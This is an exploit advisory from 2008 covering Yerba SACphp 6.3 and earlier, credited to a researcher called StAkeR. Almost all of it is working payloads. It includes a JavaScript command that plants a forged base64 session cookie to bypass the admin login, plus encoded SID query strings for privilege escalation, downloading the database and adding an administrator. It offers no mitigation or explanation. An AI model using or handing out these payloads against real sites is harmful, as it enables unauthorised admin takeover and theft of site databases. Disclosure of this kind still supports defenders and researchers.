Yerba SACphp versions 6.3 and below suffer from login bypass, database download, and other vulnerabilities.
22b9cedbc0a3d16684c620d6804bf07ddf7b45d9a5537a37b1ebc101c2feb39a
[*]~======================================================~[*]
[*] Yerba SACphp <= 6.3 Multiple Remote Vulnerabilities [*]
[*]~======================================================~[*]
[?] Discovered By StAkeR - StAkeR[at]hotmail[dot]it
[?] Discovered On 07/10/2008
[?] http://downloads.sourceforge.net/yerba/SACphp-6_28.tgz?modtime=1025222400&big_mirror=0
[?] Admin Login ByPass
[?] javascript:document.cookie="galleta[sesion]=MToxOkFkbWluaXN0cmFkb3IgZGVsIFNpc3RlbWE6Jw=="
[?] Privilege Escalation
[?] index.php?SID=[path (base64 encoded)]
[?] Arbitrary Database Download
[?] index.php?SID=Jm9kbGFwc2VyPXhmJmFtZXRzaXM9cG9tJm5pbWRBQkR5PWRvbQ==
[?] Arbitrary Add Admin
[?] index.php?SID=JnJhZ2VyZ2E9eGYmYW1ldHNpcz1wb20mc29pcmF1c1V5PWRvbQ==